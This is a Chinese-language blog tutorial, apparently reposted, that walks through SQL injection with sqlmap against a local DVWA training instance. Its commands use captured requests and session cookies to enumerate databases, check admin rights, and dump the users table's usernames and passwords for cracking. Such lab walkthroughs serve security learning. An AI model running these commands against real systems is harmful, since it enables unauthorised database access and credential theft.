结合sqlmap进行sql注入过程

结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包;-p后面是注入点,即该请求里携带的某个参数)

  • Get请求的注入:

      ./sqlmap.py -r rss_test.txt -p orderId
    
    • --cookie表示携带cookie的请求,一般为登录cookie

        python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-4530-9f07-677aa2176c6c; PHPSESSID=69vkfcgth1nurep7o8uhf7a577" –dbs
      
  • post请求的注入:rss_test.txt是post请求的抓包数据信息

    • 如果post注入,需要body信息,确定是-r txt 还是–data=“name=value”

        python sqlmap.py -r rss_test.txt -p orderId --dbs --random-agent
      
    • 也可不写注入点,比如 ./sqlmap.py -r xx.txt

    • 注入日志输出在如下路径:

        C:UserscjAppDataLocalsqlmapoutput
      
  • 注入过程如下:

  • 如上图,表示当前sql注入已经探测出了该数据库类型为MySQL,如果确定是,则直接输入Y,跳过其他数据库类型的检测

  • 对于其余的测试,是否要包括所有针对“MySQL”扩展的测试提供的水平(1)和风险(1)值,输入Y,包含所有针对MySQL的测试

  • 如上图,检测到参数id存在注入的风险(结果中包含 “id” is Vulnerable 字段表示存在注入),是否想要保持测试其他的参数,如果确定其他参数无注入风险的话,直接输入N,不再测其他参数。说明这里存在sql注入点。

  • 接下来会注入并获取数据库(前提是,当前的cookie需有效,若无效,则会获取不到数据库),如下

  • 用 --current-db进一步获取当前数据库

      E:sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
      /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
      30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --current-db
    

  • 用 --is-dba判断该注入点是否有管理员权限:返回true 表示是管理员

      E:sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
      /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
      30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --is-dba
    

  • 用 -D "dvwa" –tables 获取当前数据库的所有表(dvwa数据库是之前查出的当前数据库)

      E:sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
      /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
      30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" –tables
    

  • 用 -D "dvwa" -T "users" –columns 获取数据库dvwa中表users的所有字段

      E:sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
      /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
      30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
       --columns
    

  • 用 -D "dvwa" -T "users" -C "user,password" –dump 获取user和password字段的值,如下

      E:sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
      /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
      30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
       -C "user,password" –dump
    

  • 这里获取到的用户名和密码,猜测密码加密方式,再用对应的方式解密。

原文地址:https://www.cnblogs.com/jun-zi/p/12115781.html